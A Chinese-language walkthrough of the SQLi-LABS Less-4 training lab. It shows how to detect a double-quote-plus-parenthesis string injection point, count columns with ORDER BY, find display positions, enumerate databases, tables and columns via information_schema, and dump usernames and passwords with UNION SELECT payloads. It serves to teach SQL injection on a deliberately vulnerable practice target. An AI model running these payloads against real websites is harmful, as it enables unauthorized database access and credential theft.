SQLi-LABS Less-4

简介: 第四关请求方式为 GET请求 , 注入点为 双引号+括号的字符型 , 注入方式为 联合注入第一步,判断注入类型在参数中添加单引号' , 正常显示

第四关请求方式为 GET请求 , 注入点为 双引号+括号的字符型 , 注入方式为 联合注入

第一步,判断注入类型

在参数中添加单引号' , 正常显示

image.png

再试试双引号

?id=1"

数据库报错了


image.png


分析一下数据库的错误 , 最外层的单引号是数据库的格式,我们不用管 , 1" 是我们输入的参数 , 我们可以看到 , 1" 参数旁边有一个双引号和一个括号 , 也就是说后端的SQL中对参数包裹了双引号和括号 固 双引号+括号的字符型注入


image.png


源码如下


image.png

第二步,获取字段数

order by 从第1列开始排序,依次测试第2,3,4...列

?id=1") order by 4 -- a

第4列时开始报错 , 也就是返回结果只有3列 , 固 字段数为 3

image.png

第三步,获取显示位

union 联合查询获取字段的显示位置

?id=-1") union select 1,2,3 -- a

联合查询的 select 1,2,3  , 与上一步获取的字段数相对应


此处id=-1 , 由于用户的id没有负数 , 所有查询不到用户数据,查询结果只要联合查询的 1 2 3 这一条结果,方便字段位置的查看


image.png


第四步,脱库

爆库


查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名

?id=-1") union select 1,2,group_concat(schema_name)
from information_schema.schemata -- -

此处的 group_concat() , 可将多行结果合并为一行, 目的在于更方便的查看结果

image.png

获取当前使用的数据库

?id=-1") union select 1,2,database() -- -

此处的 database()  , 可返回当前使用的数据库

可知, 当前使用的数据库为 security , 接下来根据 security数据库获取其所有表

爆表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名

?id=-1") union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema='security' -- -

image.png

此关卡使用的表为users表 , 下一步根据users表 获取其所有字段

爆字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

?id=-1") union select 1,2,group_concat(column_name)
from information_schema.columns where table_schema='security' 
and table_name='users' -- -

image.png

可知数据库为 security, 表为 users, 字段为 id,username,password, 下一步根据这些信息查询用户账号和密码

获取账号和密码

?id=-1") union select 1,2,group_concat(username,'~',password)
from security.users -- -

此处的 group_concat(username,'~',password) , 可将多行结果合并为一行,并使用'~'分隔

image.png

相关文章
|
6月前
|
安全 数据库 数据安全/隐私保护
sqli-labs第一关
sqli-labs第一关
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
321 0
SQLi LABS Less-26a
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
210 0
SQLi LABS Less-29
SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号
150 0
SQLi LABS Less-31
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
178 0
SQLi LABS Less-27a
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
260 0
SQLi LABS Less-26
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
106 0
SQLi LABS Less-22
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
146 0
SQLi LABS Less-16
SQLi LABS Less-23
第23关使用GET请求传递参数,在url地址栏构造payload即可 此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
148 0
SQLi LABS Less-23
SQLi LABS Less-25a
第25a关使用GET请求传递参数,在url地址栏中构造payload即可 后端源码中过滤了and和or,但只过滤了一次,我们可以通过双写绕过
222 0
SQLi LABS Less-25a